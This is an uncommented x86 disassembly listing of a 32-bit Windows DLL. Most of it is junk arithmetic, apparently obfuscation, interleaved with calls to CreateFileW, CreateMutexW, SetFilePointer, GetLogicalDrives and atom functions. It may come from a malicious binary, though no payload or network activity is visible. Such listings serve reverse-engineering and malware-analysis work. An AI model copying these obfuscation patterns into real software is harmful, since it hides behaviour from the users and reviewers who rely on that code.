sbb edx, dword [ebp - 0xe0]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], edx
mov eax, dword [0x1000803c]
mov ecx, dword [ebp - 0xd8]
push ecx
mov edx, dword [ebp - 0xdc]
push edx
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10007db0
mov ecx, dword [ebp - 0x124]
and ecx, dword [0x10008008]
mov esi, dword [ebp - 0x120]
and esi, dword [0x1000800c]
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], edx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x318], esi
mov edx, dword [ebp - 0x310]
cmp edx, dword [ebp - 0x318]
ja 0x100031ef
jb 0x100031e0
mov eax, dword [ebp - 0x314]
cmp eax, dword [ebp - 0x31c]
ja 0x100031ef
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x21]
add edx, eax
mov byte [ebp - 0x20], dl
movsx ecx, byte [ebp - 0x1d]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x49], cl
mov dword [ebp - 0xc0], 0x10008036
mov dword [ebp - 0x1cc], 0x7238
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 3]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov dl, byte [ebp - 0x39]
mov byte [ebp - 0x2a], dl
jmp 0x10003252
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x10]
xor ecx, edx
mov byte [ebp - 2], cl
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x88]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xa0], edx
mov ecx, dword [0x1000803c]
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
call fcn.10007eb0
mov esi, eax
mov edi, edx
mov edx, dword [ebp - 0x120]
push edx
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [ebp - 0xe0]
push ecx
mov edx, dword [ebp - 0xe4]
push edx
call fcn.10007e40
mov dword [ebp - 0x324], esi
mov dword [ebp - 0x320], edi
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], edx
mov eax, dword [ebp - 0x320]
cmp eax, dword [ebp - 0x328]
ja 0x10003313
jb 0x100032c6
mov ecx, dword [ebp - 0x324]
cmp ecx, dword [ebp - 0x32c]
ja 0x10003313
movzx edx, byte [ebp - 0x1f]
movzx eax, byte [ebp - 0xd]
or edx, eax
mov byte [0x10008002], dl
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 2]
and edx, eax
mov byte [ebp - 0xe], dl
movsx ecx, byte [ebp - 0xf]
movsx edx, byte [ebp - 0x20]
sub ecx, edx
mov byte [ebp - 7], cl
mov eax, dword [ebp - 0xa8]
mov cl, byte [eax]
mov byte [ebp - 0x42], cl
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x30]
mov byte [ecx], al
movzx edx, byte [ebp - 0x1f]
movzx eax, byte [ebp - 0xd]
add edx, eax
movzx ecx, byte [ebp - 0x31]
movzx eax, byte [section..data]
sub ecx, eax
cmp edx, ecx
jne 0x10003366
movsx ecx, byte [ebp - 0x39]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x48]
mov byte [edx], cl
movsx eax, byte [0x10008001]
movsx ecx, byte [ebp - 0x33]
add eax, ecx
mov byte [ebp - 0x1d], al
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x44], al
movzx eax, word [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x178], ax
mov ecx, dword [ebp - 0xa8]
mov dl, byte [ecx]
mov byte [ebp - 0x41], dl
mov dword [ebp - 0x1e0], 0x6202
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x60]
add ecx, edx
mov word [0x10008018], cx
mov eax, dword [ebp - 0xa8]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1e]
or ecx, edx
mov byte [ebp - 0xf], cl
mov eax, dword [ebp - 0x88]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x6c]
shl edx, cl
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x114]
mov eax, dword [eax]
xor eax, dword [ecx]
cmp edx, eax
jle 0x10003467
movsx ecx, byte [ebp - 0x44]
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 6], cl
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xe], dl
movsx edx, byte [ebp - 0x20]
movsx eax, byte [ebp - 5]
sub edx, eax
mov ecx, dword [ebp - 0x40]
mov byte [ecx], dl
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1e]
add eax, ecx
mov edx, dword [ebp - 0x48]
mov byte [edx], al
movzx eax, byte [0x10008002]
movzx ecx, byte [ebp - 0x1f]
sub eax, ecx
mov byte [ebp - 0xd], al
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xe8]
sub eax, ecx
mov word [ebp - 0x60], ax
movzx edx, word [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x38]
push edx
movzx eax, word [ebp - 0x50]
push eax
call fcn.100013c0
add esp, 0x10
jmp 0x10003526
mov eax, dword [ebp - 0xdc]
mov edx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xf8]
call fcn.10007eb0
mov ecx, dword [0x1000803c]
mov esi, dword [ecx]
add esi, dword [ebp - 0x124]
mov ecx, dword [ecx + 4]
adc ecx, dword [ebp - 0x120]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x330], edx
mov dword [ebp - 0x2b8], esi
mov dword [ebp - 0x2b4], ecx
mov edx, dword [ebp - 0x334]
cmp edx, dword [ebp - 0x2b8]
jne 0x100034c9
mov eax, dword [ebp - 0x330]
cmp eax, dword [ebp - 0x2b4]
je 0x10003526
lea ecx, [ebp - 0x68]
mov dword [ebp - 0xbc], ecx
lea edx, [ebp - 0x38]
mov dword [0x10008048], edx
mov eax, dword [0x1000803c]
mov ecx, dword [0x10008008]
add ecx, dword [eax]
mov edx, dword [0x1000800c]
adc edx, dword [eax + 4]
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], edx
lea eax, [ebp - 0x74]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xc0]
mov byte [eax], dl
mov dword [ebp - 0xb4], 0x10008036
mov dword [ebp - 0x1e8], 0x272c
movsx ecx, byte [ebp - 3]
movsx edx, byte [ebp - 0x21]
and ecx, edx
mov byte [ebp - 0x1d], cl
movsx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
imul eax, edx
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0xc0]
mov cl, byte [eax]
mov byte [ebp - 0x6e], cl
push 0
push 0x200
push 3
push 0
push 1
push 0x40000000
push 0x100010ac
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x260], eax
movzx edx, word [ebp - 0x60]
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0xe8]
movzx ecx, word [0x10008018]
xor eax, ecx
cmp edx, eax
jle 0x100035b5
movsx edx, byte [ebp - 0x6e]
movsx eax, byte [ebp - 0x43]
sub edx, eax
mov ecx, dword [ebp - 0xc0]
mov byte [ecx], dl
jmp 0x100077f7
movzx edx, word [ebp - 0xe8]
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
shl edx, cl
movzx eax, word [ebp - 0x60]
movzx ecx, word [0x10008018]
sar eax, cl
cmp edx, eax
jne 0x100077f7
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x41]
sub edx, eax
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
lea edx, [ebp - 0x42]
mov dword [ebp - 0xb8], edx
movsx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x18]
mov byte [ecx], al
movsx edx, word [ebp - 0xc]
movsx eax, word [0x10008004]
sub edx, eax
movsx ecx, word [ebp - 0x54]
movsx eax, word [ebp - 0x50]
sub ecx, eax
cmp edx, ecx
je 0x1000369c
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0xd8]
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x1e4], 0xb78
movsx eax, byte [ebp - 0x33]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x80]
mov cl, byte [eax]
mov byte [0x10008037], cl
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x21]
sub eax, ecx
mov edx, dword [ebp - 0x58]
mov byte [edx], al
mov al, byte [ebp - 2]
mov byte [ebp - 0x4b], al
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
mov edx, dword [edx + 4]
call fcn.10007df0
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
cmp dword [ebp - 0x1cc], 0x79de
je 0x100037bb
mov eax, dword [ebp - 0x38]
xor eax, dword [ebp - 0xc4]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx]
or edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x88]
mov dword [eax], edx
movsx edx, byte [ebp - 0x4b]
movsx ecx, byte [ebp - 3]
sar edx, cl
mov byte [ebp - 0x21], dl
movsx eax, byte [ebp - 0x39]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x1e], al
movsx eax, byte [ebp - 4]
movsx ecx, byte [ebp - 0xf]
add eax, ecx
mov byte [ebp - 0x39], al
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x10008001], al
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x20], cl
mov ecx, dword [ebp - 0x104]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x60]
add edx, eax
mov word [ebp - 0xe8], dx
mov ecx, dword [ebp - 0xb4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4b]
sub edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0xb4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xa8]
mov byte [eax], dl
mov ecx, dword [ebp - 0xb4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xb4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x74]
add ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0x1cc]
add edx, 0x16
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x28]
mov byte [edx], cl
movsx eax, byte [0x10008036]
movsx ecx, byte [ebp - 0x43]
or eax, ecx
mov byte [ebp - 4], al
jmp 0x1000369c
lea edx, [ebp - 0x124]
mov dword [0x1000804c], edx
lea eax, [ebp - 0x42]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x1d4], 0x22f8
movsx edx, byte [ebp - 0x41]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x20], dl
movsx edx, byte [ebp - 0x29]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x58]
mov byte [ecx], dl
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
mov ecx, dword [edx + 4]
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x338], ecx
cmp dword [ebp - 0x33c], 0x4175
jne 0x10003826
cmp dword [ebp - 0x338], 0x700000
je 0x1000382b
jmp 0x100038b4
movsx edx, byte [ebp - 7]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x29], dl
movzx edx, byte [ebp - 0x11]
push edx
movzx eax, word [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [ebp - 0x98]
push edx
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
mov eax, dword [ebp - 0x40]
movzx ecx, byte [eax]
push ecx
call fcn.10001400
add esp, 0x1c
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 2]
sub eax, ecx
mov byte [ebp - 0x39], al
movsx edx, byte [ebp - 0x11]
movsx eax, byte [ebp - 0x43]
sub edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
call fcn.10001470
add esp, 4
mov ecx, dword [ebp - 0xb4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x44]
add edx, eax
mov byte [ebp - 0x11], dl
jmp 0x100077b7
lea ecx, [ebp - 1]
mov dword [0x10008050], ecx
mov dl, byte [ebp - 0x1f]
mov byte [ebp - 0xc5], dl
push 0
push 8
push 0
push 0
push 4
push 0xc0000000
push 0x100010cc
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x258], eax
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x50]
and eax, ecx
mov word [ebp - 0x54], ax
lea edx, [ebp - 0x38]
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x1d0], 0x4845
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x74]
add ecx, dword [eax]
mov edx, dword [ebp - 0x88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x32e7
je 0x1000395d
jmp 0x100039ea
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
push ecx
call fcn.10001430
add esp, 8
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x78]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x4b], al
mov edx, dword [ebp - 0xf8]
or edx, dword [0x10008008]
mov eax, dword [ebp - 0xf4]
or eax, dword [0x1000800c]
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], eax
movsx edx, byte [ebp - 0x1e]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2a], dl
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x12c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 5]
add eax, ecx
mov byte [ebp - 0x42], al
jmp 0x1000776b
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x54]
sub edx, eax
movsx ecx, word [ebp - 0x50]
movsx eax, word [0x10008004]
sub ecx, eax
cmp edx, ecx
jne 0x10003a2d
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 2], dl
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.10001430
add esp, 8
jmp 0x10003a8d
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x74]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x114]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x12c]
add edx, dword [ecx]
cmp eax, edx
jg 0x10003a8d
movsx edx, byte [ebp - 0x1d]
movsx eax, byte [ebp - 0x20]
add edx, eax
mov byte [ebp - 0x6e], dl
mov ecx, dword [ebp - 0x104]
mov dx, word [ecx]
mov word [ebp - 0x100], dx
mov eax, dword [0x10008050]
mov cl, byte [eax]
mov byte [ebp - 0x6f], cl
lea edx, [ebp - 0x21]
mov dword [0x10008054], edx
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x1e], cl
mov cl, byte [ebp - 6]
mov byte [ebp - 0x6d], cl
mov edx, dword [ebp - 0xa0]
sub edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x6c]
cmp edx, ecx
jg 0x10003b08
push 0
lea edx, [ebp - 0x4c4]
push edx
movzx eax, word [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov dword [ebp - 0x1b4], eax
movsx edx, byte [ebp - 0x41]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xf], dl
movsx edx, byte [ebp - 0x41]
movsx ecx, byte [ebp - 0x43]
sar edx, cl
mov eax, dword [ebp - 0x58]
mov byte [eax], dl
mov cl, byte [ebp - 0x20]
mov byte [ebp - 0xa2], cl
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
mov ecx, dword [0x10008050]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0xa8]
mov byte [ecx], al
mov edx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x168], eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x180], ecx
mov dword [ebp - 0x1ec], 0x54e4
mov dword [ebp - 0x1dc], 0x700b
movsx edx, word [ebp - 0x50]
movsx eax, word [ebp - 0x54]
and edx, eax
movsx ecx, word [ebp - 0xc]
movsx eax, word [0x10008034]
imul ecx, eax
cmp edx, ecx
je 0x10003c20
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x344], edx
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x344], 0x5547
jne 0x10003b8f
cmp dword [ebp - 0x340], 0x700000
je 0x10003b94
jmp 0x10003c1e
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x2a], dl
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
mov ecx, dword [0x10008054]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x12c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [0x10008050]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xb4]
mov byte [eax], dl
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.100014a0
add esp, 0x20
jmp 0x10003c55
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 7], al
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x6f], cl
movsx edx, byte [ebp - 0x41]
movsx ecx, byte [0x10008037]
sar edx, cl
mov byte [ebp - 0x39], dl
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x40]
mov byte [edx], cl
mov eax, dword [ebp - 0x80]
mov cl, byte [eax]
mov byte [ebp - 0x25c], cl
cmp byte [ebp - 0x25c], 0xfb
je 0x10003c91
cmp byte [ebp - 0x25c], 0x7b
je 0x100076c3
jmp 0x100076e9
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xa2]
add eax, ecx
mov byte [0x10008036], al
mov dl, byte [ebp - 0x11]
mov byte [ebp - 0x59], dl
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x6d], cl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x10]
imul edx, eax
mov byte [ebp - 0xa2], dl
movzx ecx, word [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x178], ax
mov dl, byte [0x10008037]
mov byte [ebp - 0x4c], dl
movzx eax, byte [ebp - 0xc5]
movzx ecx, byte [ebp - 0xd]
and eax, ecx
mov byte [ebp - 0x1f], al
mov dx, word [0x10008034]
mov word [ebp - 0xec], dx
mov eax, dword [ebp - 0x104]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x100]
sar edx, cl
mov word [ebp - 0x60], dx
mov eax, dword [ebp - 0x134]
xor eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x130]
xor ecx, dword [ebp - 0x94]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x164]
mov eax, dword [edx]
or eax, dword [ebp - 0xc4]
mov ecx, dword [0x10008048]
mov dword [ecx], eax
mov edx, dword [0x1000803c]
mov ecx, dword [edx]
mov edx, dword [0x1000804c]
mov eax, dword [edx]
mov edx, dword [edx + 4]
call fcn.10007df0
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], edx
push 2
push 0
push 0x1fe2
mov eax, dword [0x10008038]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1d8], eax
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x88]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x114]
mov dword [ecx], eax
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x32]
sub eax, ecx
mov edx, dword [ebp - 0x28]
mov byte [edx], al
movsx eax, byte [ebp - 0x20]
movsx ecx, byte [ebp - 7]
and eax, ecx
mov byte [ebp - 0x2a], al
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 1]
add eax, ecx
mov byte [ebp - 0x2a], al
movsx edx, byte [ebp - 0x59]
mov eax, dword [0x10008054]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x43], dl
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x4b]
add eax, ecx
mov byte [ebp - 0x11], al
mov edx, dword [ebp - 0x114]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x90]
add eax, dword [ecx]
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 4]
sub eax, ecx
mov byte [0x10008037], al
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x40]
mov byte [ecx], al
movsx edx, byte [ebp - 0x21]
mov eax, dword [0x10008054]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x41], dl
movsx edx, byte [ebp - 1]
movsx eax, byte [ebp - 7]
add edx, eax
mov byte [ebp - 0x43], dl
movsx edx, byte [ebp - 6]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xc0]
mov byte [ecx], dl
movsx edx, byte [0x10008037]
movsx eax, byte [ebp - 0x42]
or edx, eax
mov ecx, dword [ebp - 0xb4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x11], al
mov edx, dword [0x1000803c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x124]
mov ecx, dword [edx + 4]
xor ecx, dword [ebp - 0x120]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
movzx edx, word [ebp - 0x174]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1a4], ax
movsx eax, byte [ebp - 0x6d]
movsx ecx, byte [ebp - 7]
and eax, ecx
mov byte [ebp - 1], al
movsx edx, byte [ebp - 0x49]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x10008036], dl
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x39]
add eax, ecx
mov byte [ebp - 0x43], al
movsx edx, byte [ebp - 0x2a]
movsx eax, byte [ebp - 1]
and edx, eax
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
add eax, dword [ebp - 0x16c]
mov ecx, dword [edx + 4]
adc ecx, dword [ebp - 0x168]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], ecx
mov edx, dword [ebp - 0x1d0]
sub edx, 0xe
mov dword [ebp - 0x1d0], edx
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
add ecx, dword [edx]
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0xa0]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x1d0], 0x441d
ja 0x10003d0b
mov ecx, dword [ebp - 0xa8]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x41]
sub edx, eax
mov byte [ebp - 0xe], dl
movsx ecx, byte [ebp - 0xe]
movsx edx, byte [0x10008036]
sub ecx, edx
mov byte [ebp - 3], cl
cmp dword [ebp - 0x1d4], 0x4ce3
je 0x100040dc
movsx eax, byte [ebp - 5]
movsx ecx, byte [ebp - 0xe]
shl eax, cl
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], al
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x10008036], al
mov edx, dword [0x10008054]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x60]
xor ecx, edx
mov word [ebp - 0x100], cx
movsx eax, byte [ebp - 0x10]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 4], al
movsx eax, byte [ebp - 3]
movsx ecx, byte [ebp - 5]
add eax, ecx
mov byte [ebp - 0x32], al
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1d]
sub eax, ecx
mov edx, dword [ebp - 0x58]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0xa0]
mov dword [ebp - 0x74], eax
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xf], cl
mov ecx, dword [0x10008054]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xa8]
mov byte [eax], dl
mov ecx, dword [0x1000803c]
mov edx, dword [ebp - 0xf8]
add edx, dword [ecx]
mov eax, dword [ebp - 0xf4]
adc eax, dword [ecx + 4]
mov dword [0x10008008], edx
mov dword [0x1000800c], eax
movsx ecx, byte [ebp - 0x44]
movsx edx, byte [0x10008037]
sub ecx, edx
